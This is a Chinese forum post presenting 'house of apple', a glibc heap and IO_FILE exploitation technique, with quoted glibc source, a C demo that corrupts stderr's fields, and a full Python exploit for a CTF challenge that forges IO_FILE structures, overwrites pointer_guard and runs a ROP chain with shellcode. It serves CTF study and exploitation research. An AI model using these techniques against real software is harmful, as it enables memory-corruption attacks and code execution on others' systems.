分享一种新的glibc
中IO
利用思路,暂且命名为house of apple
。
house of apple
系列利用方法文章:
众所周知,glibc
高版本逐渐移除了__malloc_hook/__free_hook/__realloc_hook
等等一众hook
全局变量,ctf
中pwn
题对hook
钩子的利用将逐渐成为过去式。而想要在高版本利用成功,基本上就离不开对IO_FILE
结构体的伪造与IO
流的攻击。之前很多师傅都提出了一些优秀的攻击方法,比如house of pig 、house of kiwi 和 house of emma 等。
其中,house of pig
除了需要劫持IO_FILE
结构体,还需要劫持tcache_perthread_struct
结构体或者能控制任意地址分配;house of kiwi
则至少需要修改三个地方的值:_IO_helper_jumps + 0xA0
和_IO_helper_jumps + 0xA8
,另外还要劫持_IO_file_jumps + 0x60
处的_IO_file_sync
指针;而house of emma
则至少需要修改两个地方的值,一个是tls
结构体的point_guard
(或者想办法泄露出来),另外需要伪造一个IO_FILE
或替换vtable
为xxx_cookie_jumps
的地址。
总的来看,如果想使用上述方法成功地攻击IO
,至少需要两次写或者一次写和一次任意地址读。而在只给一次任意地址写(如一次largebin attack
)的情景下是很难利用成功的。
largebin attack
是高版本中为数不多的可以任意地址写一个堆地址的方法,并常常和上述三种方法结合起来利用。本文将给出一种新的利用方法,在仅使用一次largebin attack
并限制读写次数的条件下进行FSOP
利用。顺便说一下,house of banana 也只需要一次largebin attack
,但是其攻击的是rtld_global
结构体,而不是IO
流。
上述方法利用成功的前提均是已经泄露出libc
地址和heap
地址。本文的方法也不例外。
使用house of apple
的条件为: 1、程序从main
函数返回或能调用exit
函数 2、能泄露出heap
地址和libc
地址 3、 能使用一次largebin attack
(一次即可)
原理解释均基于amd64
程序。
当程序从main
函数返回或者执行exit
函数的时候,均会调用fcloseall
函数,该调用链为:
最后会遍历_IO_list_all
存放的每一个IO_FILE
结构体,如果满足条件的话,会调用每个结构体中vtable->_overflow
函数指针指向的函数。
使用largebin attack
可以劫持_IO_list_all
变量,将其替换为伪造的IO_FILE
结构体,而在此时,我们其实仍可以继续利用某些IO
流函数去修改其他地方的值。要想修改其他地方的值,就离不开_IO_FILE
的一个成员_wide_data
的利用。
amd64
程序下,struct _IO_wide_data *_wide_data
在_IO_FILE
中的偏移为0xa0
:
我们在伪造_IO_FILE
结构体的时候,伪造_wide_data
变量,然后通过某些函数,比如_IO_wstrn_overflow
就可以将已知地址空间上的某些值修改为一个已知值。
分析一下这个函数,首先将fp
强转为_IO_wstrnfile *
指针,然后判断fp->_wide_data->_IO_buf_base != snf->overflow_buf
是否成立(一般肯定是成立的),如果成立则会对fp->_wide_data
的_IO_write_base
、_IO_read_base
、_IO_read_ptr
和_IO_read_end
赋值为snf->overflow_buf
或者与该地址一定范围内偏移的值;最后对fp->_wide_data
的_IO_write_ptr
和_IO_write_end
赋值。
也就是说,只要控制了fp->_wide_data
,就可以控制从fp->_wide_data
开始一定范围内的内存的值,也就等同于任意地址写已知地址 。
这里有时候需要绕过_IO_wsetb
函数里面的free
:
_IO_wstrnfile
涉及到的结构体如下:
其中,overflow_buf
相对于_IO_FILE
结构体的偏移为0xf0
,在vtable
后面。
而struct _IO_wide_data
结构体如下:
换而言之,假如此时在堆上伪造一个_IO_FILE
结构体并已知其地址为A
,将A + 0xd8
替换为_IO_wstrn_jumps
地址,A + 0xc0
设置为B
,并设置其他成员以便能调用到_IO_OVERFLOW
。exit
函数则会一路调用到_IO_wstrn_overflow
函数,并将B
至B + 0x38
的地址区域的内容都替换为A + 0xf0
或者A + 0x1f0
。
简单写一个demo
程序进行验证:
输出结果如下:
从输出中可以看到,已经成功修改了sdterr->_wide_data
所指向的地址空间的内存。
从上面的分析可以,在只给了1
次largebin attack
的前提下,能利用_IO_wstrn_overflow
函数将任意地址空间上的值修改为一个已知地址,并且这个已知地址通常为堆地址。那么,当我们伪造两个甚至多个_IO_FILE
结构体,并将这些结构体通过chain
字段串联起来就能进行组合利用。基于此,我总结了house of apple
下至少四种利用思路。
该思路需要借助house of pig
的思想,利用_IO_str_overflow
中的malloc
进行任意地址分配,memcpy
进行任意地址覆盖。其代码片段如下:
利用步骤如下:
因为可以已经任意地址写任意值了,所以这可以控制的变量和结构体非常多,也非常地灵活,需要结合具体的题目进行利用,比如题目中_IO_xxx_jumps
映射的地址空间可写的话直接修改其函数指针即可。
该思路与上述思路差不多,不过对tcachebin
分配的劫持是通过修改mp_.tcache_bins
这个变量。打这个结构体的好处是在攻击远程时不需要爆破地址,因为线程全局变量、tls
结构体的地址本地和远程并不一定是一样的,有时需要爆破。
利用步骤如下:
该思路其实就是house of apple + house of emma
。
利用步骤如下:
这个思路也很灵活,修改掉这个变量后,直接释放超大的chunk
,去覆盖掉point_guard
或者tcache
变量。我称之为house of apple + house of corrision
。
利用过程与前面也基本是大同小异,就不在此详述了。
其实也有其他的思路,比如还可以劫持main_arena
,不过这个结构体利用起来会更复杂,所需要的空间将更大。而在上述思路的利用过程中,可以选择错位构造_IO_FILE
结构体,只需要保证关键字段满足要求即可,这样可以更加节省空间。
这里以某次市赛的题为例,题目为pwn_oneday
,附件下载链接在这里 。
这个题目禁止了execve
系统调用,能分配的chunk
的大小基本是固定的,并且只允许1
次读和1
次写,最多只能分配0x10
次,使用的glibc
版本为2.34
。
initial
首先是初始化,开启了沙盒:
main
main
函数必须选一个key
,大小在6-10
。也就是说,分配的chunk
都会属于largebin
范围。
add
限制了只能分配key+0x10
、key+0x20
、2 * key + 0x10
大小的chunk
dele
存在UAF
,没有清空指针。
read
只给1
次机会读。
write
只给一次机会写,并只泄露出0x10
个字节的数据。
这道题的限制还是很多的,当然,给的漏洞也很明显。但是程序里面没有使用与IO
有关的函数,全部使用原始的read/write
去完成读写操作,并且使用glibc-2.34
版本,这个版本里面去掉了很多的hook
变量。
很明显,需要使用一次读泄露出libc
地址和heap
地址,然后用一次写做一次largebin attack
。
如果用largebin attack
去劫持_rtld_global
的link_map
成员,那么还需要一次写去绕过for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
,否则这里会造成死循环;如果打l_addr
成员,会发现能分配的堆的空间不足,l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
的值为0x201d70
,而就算每次分配0xaa0 * 2 + 0x10
,再分配16
次也没这么大。至于劫持别的成员,受限于沙盒,也很难完成利用。
由于限制了读写次数为1
次,就很难再泄露出pointer_guard
的值,也很难再覆盖pointer_guard
的值,所以与pointer_guard
有关的利用也基本行不通。
因此,选择使用house of apple
劫持_IO_FILE->_wide_data
成员进行利用。
在利用之前,还有一些准备工作需要做。我们需要进行合理的堆风水布局,使得能够在修改一个largebin chunk A
的bk_nextsize
的同时伪造一个chunk B
,并需要让A
和B
在同一个bins
数组中,然后释放B
并进行largebin attack
,这样就能保证既完成任意地址写堆地址,也能控制写的堆地址所属的chunk
的内容。
对三种大小chunk
的size
进行分析,并设x = key + 0x10
,y = key + 0x20
, z = key * 2 + 0x10
。那么有:
题目中还存在UAF
,于是就可以的构造出如下布局:
堆风水步骤为:
经过计算,这里选择key
为0xa
,此时chunk 1
的大小为0xab0
,伪造的chunk 3
的大小为0xa80
。
基于上面对house of apple
的分析,首先使用思路三修改pointer_guard
,然后进行house of emma
利用。由于pointer_guard
是fs:[0x30]
,而canary
是fs:[0x28]
,所以直接找canary
,然后利用pwndbg
的search
命令搜索即可,如下所示:
此时的利用步骤如下:
利用一次write
的机会泄露出libc
地址和heap
地址
利用堆风水,构造1
次largebin attack
,替换_IO_list_all
为堆地址
利用house of apple
,修改掉pointer_guard
的值
利用house of emma
并结合几个gadgets
控制rsp
用rop
链输出flag
其exp
如下:
调试截图如下:
修改掉pointer_guard
:
然后使用_IO_cookie_read
控制程序执行流:
成功劫持rsp
:
接下来使用思路一,修改tcache
变量,对于该变量的寻找同样可以使用search
命令:
此时的步骤如下:
exp
如下:
调试截图:
修改掉tache
变量:
然后分配到_IO_str_jumps
:
后面的过程就一样了:
最后成功输出flag
:
之前的一些IO
流攻击方法对_wide_data
的关注甚少,本文提出一种新的方法,劫持了_wide_data
成员并在仅进行1
次largebin attack
的条件下成功进行FSOP
利用。且该方法可通杀所有版本的glibc
。
可以看到,house of apple
是对现有一些IO
流攻击方法的补充,能在一次劫持IO
流的过程中做到任意地址写已知值,进而构造出其他方法攻击成功的条件。
struct
_IO_FILE_complete
{
struct
_IO_FILE _file;
__off64_t _offset;
struct
_IO_codecvt *_codecvt;
struct
_IO_wide_data *_wide_data;
struct
_IO_FILE *_freeres_list;
void
*_freeres_buf;
size_t
__pad5;
int
_mode;
char
_unused2[15 *
sizeof
(
int
) - 4 *
sizeof
(
void
*) -
sizeof
(
size_t
)];
};
struct
_IO_FILE_complete
{
struct
_IO_FILE _file;
__off64_t _offset;
struct
_IO_codecvt *_codecvt;
struct
_IO_wide_data *_wide_data;
struct
_IO_FILE *_freeres_list;
void
*_freeres_buf;
size_t
__pad5;
int
_mode;
char
_unused2[15 *
sizeof
(
int
) - 4 *
sizeof
(
void
*) -
sizeof
(
size_t
)];
};
amd64:
0x0
:
'_flags'
,
0x8
:
'_IO_read_ptr'
,
0x10
:
'_IO_read_end'
,
0x18
:
'_IO_read_base'
,
0x20
:
'_IO_write_base'
,
0x28
:
'_IO_write_ptr'
,
0x30
:
'_IO_write_end'
,
0x38
:
'_IO_buf_base'
,
0x40
:
'_IO_buf_end'
,
0x48
:
'_IO_save_base'
,
0x50
:
'_IO_backup_base'
,
0x58
:
'_IO_save_end'
,
0x60
:
'_markers'
,
0x68
:
'_chain'
,
0x70
:
'_fileno'
,
0x74
:
'_flags2'
,
0x78
:
'_old_offset'
,
0x80
:
'_cur_column'
,
0x82
:
'_vtable_offset'
,
0x83
:
'_shortbuf'
,
0x88
:
'_lock'
,
0x90
:
'_offset'
,
0x98
:
'_codecvt'
,
0xa0
:
'_wide_data'
,
0xa8
:
'_freeres_list'
,
0xb0
:
'_freeres_buf'
,
0xb8
:
'__pad5'
,
0xc0
:
'_mode'
,
0xc4
:
'_unused2'
,
0xd8
:
'vtable'
amd64:
0x0
:
'_flags'
,
0x8
:
'_IO_read_ptr'
,
0x10
:
'_IO_read_end'
,
0x18
:
'_IO_read_base'
,
0x20
:
'_IO_write_base'
,
0x28
:
'_IO_write_ptr'
,
0x30
:
'_IO_write_end'
,
0x38
:
'_IO_buf_base'
,
0x40
:
'_IO_buf_end'
,
0x48
:
'_IO_save_base'
,
0x50
:
'_IO_backup_base'
,
0x58
:
'_IO_save_end'
,
0x60
:
'_markers'
,
0x68
:
'_chain'
,
0x70
:
'_fileno'
,
0x74
:
'_flags2'
,
0x78
:
'_old_offset'
,
0x80
:
'_cur_column'
,
0x82
:
'_vtable_offset'
,
0x83
:
'_shortbuf'
,
0x88
:
'_lock'
,
0x90
:
'_offset'
,
0x98
:
'_codecvt'
,
0xa0
:
'_wide_data'
,
0xa8
:
'_freeres_list'
,
0xb0
:
'_freeres_buf'
,
0xb8
:
'__pad5'
,
0xc0
:
'_mode'
,
0xc4
:
'_unused2'
,
0xd8
:
'vtable'
static
wint_t
_IO_wstrn_overflow (
FILE
*fp,
wint_t
c)
{
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
if
(fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (
sizeof
(snf->overflow_buf)
/
sizeof
(
wchar_t
)), 0);
fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (
sizeof
(snf->overflow_buf)
/
sizeof
(
wchar_t
)));
}
fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;
return
c;
}
static
wint_t
_IO_wstrn_overflow (
FILE
*fp,
wint_t
c)
{
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
if
(fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (
sizeof
(snf->overflow_buf)
/
sizeof
(
wchar_t
)), 0);
fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (
sizeof
(snf->overflow_buf)
/
sizeof
(
wchar_t
)));
}
fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;
return
c;
}
void
_IO_wsetb (
FILE
*f,
wchar_t
*b,
wchar_t
*eb,
int
a)
{
if
(f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
free
(f->_wide_data->_IO_buf_base);
f->_wide_data->_IO_buf_base = b;
f->_wide_data->_IO_buf_end = eb;
if
(a)
f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
else
f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}
void
_IO_wsetb (
FILE
*f,
wchar_t
*b,
wchar_t
*eb,
int
a)
{
if
(f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
free
(f->_wide_data->_IO_buf_base);
f->_wide_data->_IO_buf_base = b;
f->_wide_data->_IO_buf_end = eb;
if
(a)
f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
else
f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}
struct
_IO_str_fields
{
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};
struct
_IO_streambuf
{
FILE
_f;
const
struct
_IO_jump_t *vtable;
};
typedef
struct
_IO_strfile_
{
struct
_IO_streambuf _sbf;
struct
_IO_str_fields _s;
} _IO_strfile;
typedef
struct
{
_IO_strfile f;
char
overflow_buf[64];
} _IO_strnfile;
typedef
struct
{
_IO_strfile f;
wchar_t
overflow_buf[64];
} _IO_wstrnfile;
struct
_IO_str_fields
{
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};
struct
_IO_streambuf
{
FILE
_f;
const
struct
_IO_jump_t *vtable;
};
typedef
struct
_IO_strfile_
{
struct
_IO_streambuf _sbf;
struct
_IO_str_fields _s;
} _IO_strfile;
typedef
struct
{
_IO_strfile f;
char
overflow_buf[64];
} _IO_strnfile;
typedef
struct
{
_IO_strfile f;
wchar_t
overflow_buf[64];
} _IO_wstrnfile;
struct
_IO_wide_data
{
wchar_t
*_IO_read_ptr;
wchar_t
*_IO_read_end;
wchar_t
*_IO_read_base;
wchar_t
*_IO_write_base;
wchar_t
*_IO_write_ptr;
wchar_t
*_IO_write_end;
wchar_t
*_IO_buf_base;
wchar_t
*_IO_buf_end;
wchar_t
*_IO_save_base;
wchar_t
*_IO_backup_base;
wchar_t
*_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct
_IO_codecvt _codecvt;
wchar_t
_shortbuf[1];
const
struct
_IO_jump_t *_wide_vtable;
};
struct
_IO_wide_data
{
wchar_t
*_IO_read_ptr;
wchar_t
*_IO_read_end;
wchar_t
*_IO_read_base;
wchar_t
*_IO_write_base;
wchar_t
*_IO_write_ptr;
wchar_t
*_IO_write_end;
wchar_t
*_IO_buf_base;
wchar_t
*_IO_buf_end;
wchar_t
*_IO_save_base;
wchar_t
*_IO_backup_base;
wchar_t
*_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct
_IO_codecvt _codecvt;
wchar_t
_shortbuf[1];
const
struct
_IO_jump_t *_wide_vtable;
};
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void
main()
{
setbuf
(stdout, 0);
setbuf
(stdin, 0);
setvbuf
(stderr, 0, 2, 0);
puts
(
"[*] allocate a 0x100 chunk"
);
size_t
*p1 =
malloc
(0xf0);
size_t
*tmp = p1;
size_t
old_value = 0x1122334455667788;
for
(
size_t
i = 0; i < 0x100 / 8; i++)
{
p1[i] = old_value;
}
puts
(
"===========================old value======================="
);
for
(
size_t
i = 0; i < 4; i++)
{
printf
(
"[%p]: 0x%016lx 0x%016lx\n"
, tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts
(
"===========================old value======================="
);
size_t
puts_addr = (
size_t
)&
puts
;
printf
(
"[*] puts address: %p\n"
, (
void
*)puts_addr);
size_t
stderr_write_ptr_addr = puts_addr + 0x1997b8;
printf
(
"[*] stderr->_IO_write_ptr address: %p\n"
, (
void
*)stderr_write_ptr_addr);
size_t
stderr_flags2_addr = puts_addr + 0x199804;
printf
(
"[*] stderr->_flags2 address: %p\n"
, (
void
*)stderr_flags2_addr);
size_t
stderr_wide_data_addr = puts_addr + 0x199830;
printf
(
"[*] stderr->_wide_data address: %p\n"
, (
void
*)stderr_wide_data_addr);
size_t
sdterr_vtable_addr = puts_addr + 0x199868;
printf
(
"[*] stderr->vtable address: %p\n"
, (
void
*)sdterr_vtable_addr);
size_t
_IO_wstrn_jumps_addr = puts_addr + 0x194ed0;
printf
(
"[*] _IO_wstrn_jumps address: %p\n"
, (
void
*)_IO_wstrn_jumps_addr);
puts
(
"[+] step 1: change stderr->_IO_write_ptr to -1"
);
*(
size_t
*)stderr_write_ptr_addr = (
size_t
)-1;
puts
(
"[+] step 2: change stderr->_flags2 to 8"
);
*(
size_t
*)stderr_flags2_addr = 8;
puts
(
"[+] step 3: replace stderr->_wide_data with the allocated chunk"
);
*(
size_t
*)stderr_wide_data_addr = (
size_t
)p1;
puts
(
"[+] step 4: replace stderr->vtable with _IO_wstrn_jumps"
);
*(
size_t
*)sdterr_vtable_addr = (
size_t
)_IO_wstrn_jumps_addr;
puts
(
"[+] step 5: call fcloseall and trigger house of apple"
);
fcloseall();
tmp = p1;
puts
(
"===========================new value======================="
);
for
(
size_t
i = 0; i < 4; i++)
{
printf
(
"[%p]: 0x%016lx 0x%016lx\n"
, tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts
(
"===========================new value======================="
);
}
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void
main()
{
setbuf
(stdout, 0);
setbuf
(stdin, 0);
setvbuf
(stderr, 0, 2, 0);
puts
(
"[*] allocate a 0x100 chunk"
);
size_t
*p1 =
malloc
(0xf0);
size_t
*tmp = p1;
size_t
old_value = 0x1122334455667788;
for
(
size_t
i = 0; i < 0x100 / 8; i++)
{
p1[i] = old_value;
}
puts
(
"===========================old value======================="
);
for
(
size_t
i = 0; i < 4; i++)
{
printf
(
"[%p]: 0x%016lx 0x%016lx\n"
, tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts
(
"===========================old value======================="
);
size_t
puts_addr = (
size_t
)&
puts
;
printf
(
"[*] puts address: %p\n"
, (
void
*)puts_addr);
size_t
stderr_write_ptr_addr = puts_addr + 0x1997b8;
printf
(
"[*] stderr->_IO_write_ptr address: %p\n"
, (
void
*)stderr_write_ptr_addr);
size_t
stderr_flags2_addr = puts_addr + 0x199804;
printf
(
"[*] stderr->_flags2 address: %p\n"
, (
void
*)stderr_flags2_addr);
size_t
stderr_wide_data_addr = puts_addr + 0x199830;
printf
(
"[*] stderr->_wide_data address: %p\n"
, (
void
*)stderr_wide_data_addr);
size_t
sdterr_vtable_addr = puts_addr + 0x199868;
printf
(
"[*] stderr->vtable address: %p\n"
, (
void
*)sdterr_vtable_addr);
size_t
_IO_wstrn_jumps_addr = puts_addr + 0x194ed0;
printf
(
"[*] _IO_wstrn_jumps address: %p\n"
, (
void
*)_IO_wstrn_jumps_addr);
puts
(
"[+] step 1: change stderr->_IO_write_ptr to -1"
);
*(
size_t
*)stderr_write_ptr_addr = (
size_t
)-1;
puts
(
"[+] step 2: change stderr->_flags2 to 8"
);
*(
size_t
*)stderr_flags2_addr = 8;
puts
(
"[+] step 3: replace stderr->_wide_data with the allocated chunk"
);
*(
size_t
*)stderr_wide_data_addr = (
size_t
)p1;
puts
(
"[+] step 4: replace stderr->vtable with _IO_wstrn_jumps"
);
*(
size_t
*)sdterr_vtable_addr = (
size_t
)_IO_wstrn_jumps_addr;
puts
(
"[+] step 5: call fcloseall and trigger house of apple"
);
fcloseall();
tmp = p1;
puts
(
"===========================new value======================="
);
for
(
size_t
i = 0; i < 4; i++)
{
printf
(
"[%p]: 0x%016lx 0x%016lx\n"
, tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts
(
"===========================new value======================="
);
}
roderick@ee8b10ad26b9:~
/hack
$ gcc demo.c -o demo -g -w && .
/demo
[*] allocate a 0x100 chunk
===========================old value=======================
[0x55cfb956d2a0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2b0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2c0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2d0]: 0x1122334455667788 0x1122334455667788
===========================old value=======================
[*] puts address: 0x7f648b8a6ef0
[*] stderr->_IO_write_ptr address: 0x7f648ba406a8
[*] stderr->_flags2 address: 0x7f648ba406f4
[*] stderr->_wide_data address: 0x7f648ba40720
[*] stderr->vtable address: 0x7f648ba40758
[*] _IO_wstrn_jumps address: 0x7f648ba3bdc0
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x55cfb956d2a0]: 0x00007f648ba40770 0x00007f648ba40870
[0x55cfb956d2b0]: 0x00007f648ba40770 0x00007f648ba40770
[0x55cfb956d2c0]: 0x00007f648ba40770 0x00007f648ba40770
[0x55cfb956d2d0]: 0x00007f648ba40770 0x00007f648ba40870
===========================new value=======================
roderick@ee8b10ad26b9:~
/hack
$ gcc demo.c -o demo -g -w && .
/demo
[*] allocate a 0x100 chunk
===========================old value=======================
[0x55cfb956d2a0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2b0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2c0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2d0]: 0x1122334455667788 0x1122334455667788
===========================old value=======================
[*] puts address: 0x7f648b8a6ef0
[*] stderr->_IO_write_ptr address: 0x7f648ba406a8
[*] stderr->_flags2 address: 0x7f648ba406f4
[*] stderr->_wide_data address: 0x7f648ba40720
[*] stderr->vtable address: 0x7f648ba40758
[*] _IO_wstrn_jumps address: 0x7f648ba3bdc0
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x55cfb956d2a0]: 0x00007f648ba40770 0x00007f648ba40870
[0x55cfb956d2b0]: 0x00007f648ba40770 0x00007f648ba40770
[0x55cfb956d2c0]: 0x00007f648ba40770 0x00007f648ba40770
[0x55cfb956d2d0]: 0x00007f648ba40770 0x00007f648ba40870
===========================new value=======================
int
_IO_str_overflow (
FILE
*fp,
int
c)
{
char
*new_buf;
char
*old_buf = fp->_IO_buf_base;
size_t
old_blen = _IO_blen (fp);
size_t
new_size = 2 * old_blen + 100;
if
(new_size < old_blen)
return
EOF;
new_buf =
malloc
(new_size);
if
(new_buf == NULL)
{
return
EOF;
}
if
(old_buf)
{
memcpy
(new_buf, old_buf, old_blen);
free
(old_buf);
}
int
_IO_str_overflow (
FILE
*fp,
int
c)
{
char
*new_buf;
char
*old_buf = fp->_IO_buf_base;
size_t
old_blen = _IO_blen (fp);
size_t
new_size = 2 * old_blen + 100;
if
(new_size < old_blen)
return
EOF;
new_buf =
malloc
(new_size);
if
(new_buf == NULL)
{
return
EOF;
}
if
(old_buf)
{
memcpy
(new_buf, old_buf, old_blen);
free
(old_buf);
}
2
*
y
-
z
=
2
*
key
+
0x40
-
2
*
key
-
0x10
=
0x30
2
*
y
-
2
*
x
=
2
*
key
+
0x40
-
2
*
key
-
0x20
=
0x20
2
*
y
-
z
=
2
*
key
+
0x40
-
2
*
key
-
0x10
=
0x30
2
*
y
-
2
*
x
=
2
*
key
+
0x40
-
2
*
key
-
0x20
=
0x20
from
pwncli
import
*
cli_script()
io: tube
=
gift[
'io'
]
elf: ELF
=
gift[
'elf'
]
libc: ELF
=
gift[
'libc'
]
small
=
1
medium
=
2
large
=
3
key
=
10
def
add(c):
sla(
"enter your command: \n"
,
"1"
)
sla(
"choise: "
,
str
(c))
def
dele(i):
sla(
"enter your command: \n"
,
"2"
)
sla(
"Index: \n"
,
str
(i))
def
read_once(i, data):
sla(
"enter your command: \n"
,
"3"
)
sla(
"Index: "
,
str
(i))
sa(
"Message: \n"
, flat(data, length
=
0x110
*
key))
def
write_once(i):
sla(
"enter your command: \n"
,
"4"
)
sla(
"Index: "
,
str
(i))
ru(
"Message: \n"
)
m
=
rn(
0x10
)
d1
=
u64_ex(m[:
8
])
d2
=
u64_ex(m[
8
:])
log_address_ex(
"d1"
)
log_address_ex(
"d2"
)
return
d1, d2
def
bye():
sla(
"enter your command: \n"
,
"9"
)
sla(
"enter your key >>\n"
,
str
(key))
add(medium)
add(medium)
add(small)
dele(
2
)
dele(
1
)
dele(
0
)
add(small)
add(small)
add(small)
add(small)
dele(
3
)
dele(
5
)
m1, m2
=
write_once(
3
)
libc_base
=
set_current_libc_base_and_log(m1,
0x1f2cc0
)
heap_base
=
m2
-
0x17f0
dele(
4
)
dele(
6
)
add(large)
add(small)
add(small)
dele(
8
)
add(large)
target_addr
=
libc.sym._IO_list_all
_IO_wstrn_jumps
=
libc_base
+
0x1f3d20
_IO_cookie_jumps
=
libc_base
+
0x1f3ae0
_lock
=
libc_base
+
0x1f5720
point_guard_addr
=
libc_base
-
0x2890
expected
=
heap_base
+
0x1900
chain
=
heap_base
+
0x1910
magic_gadget
=
libc_base
+
0x146020
mov_rsp_rdx_ret
=
libc_base
+
0x56530
add_rsp_0x20_pop_rbx_ret
=
libc_base
+
0xfd449
pop_rdi_ret
=
libc_base
+
0x2daa2
pop_rsi_ret
=
libc_base
+
0x37c0a
pop_rdx_rbx_ret
=
libc_base
+
0x87729
f1
=
IO_FILE_plus_struct()
f1._IO_read_ptr
=
0xa81
f1.chain
=
chain
f1._flags2
=
8
f1._mode
=
0
f1._lock
=
_lock
f1._wide_data
=
point_guard_addr
f1.vtable
=
_IO_wstrn_jumps
f2
=
IO_FILE_plus_struct()
f2._IO_write_base
=
0
f2._IO_write_ptr
=
1
f2._lock
=
_lock
f2._mode
=
0
f2._flags2
=
8
f2.vtable
=
_IO_cookie_jumps
+
0x58
data
=
flat({
0x8
: target_addr
-
0x20
,
0x10
: {
0
: {
0
: bytes(f1),
0x100
:{
0
: bytes(f2),
0xe0
: [chain
+
0x100
, rol(magic_gadget ^ expected,
0x11
)],
0x100
: [
add_rsp_0x20_pop_rbx_ret,
chain
+
0x100
,
0
,
0
,
mov_rsp_rdx_ret,
0
,
pop_rdi_ret,
chain & ~
0xfff
,
pop_rsi_ret,
0x4000
,
pop_rdx_rbx_ret,
7
,
0
,
libc.sym.mprotect,
chain
+
0x200
],
0x200
: ShellcodeMall.amd64.cat_flag
}
},
0xa80
: [
0
,
0xab1
]
}
})
read_once(
5
, data)
dele(
2
)
add(large)
bye()
ia()
ia()
from
pwncli
import
*
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2023-12-20 13:31
被roderick01编辑
,原因: 更新系列文章链接
上传的附件: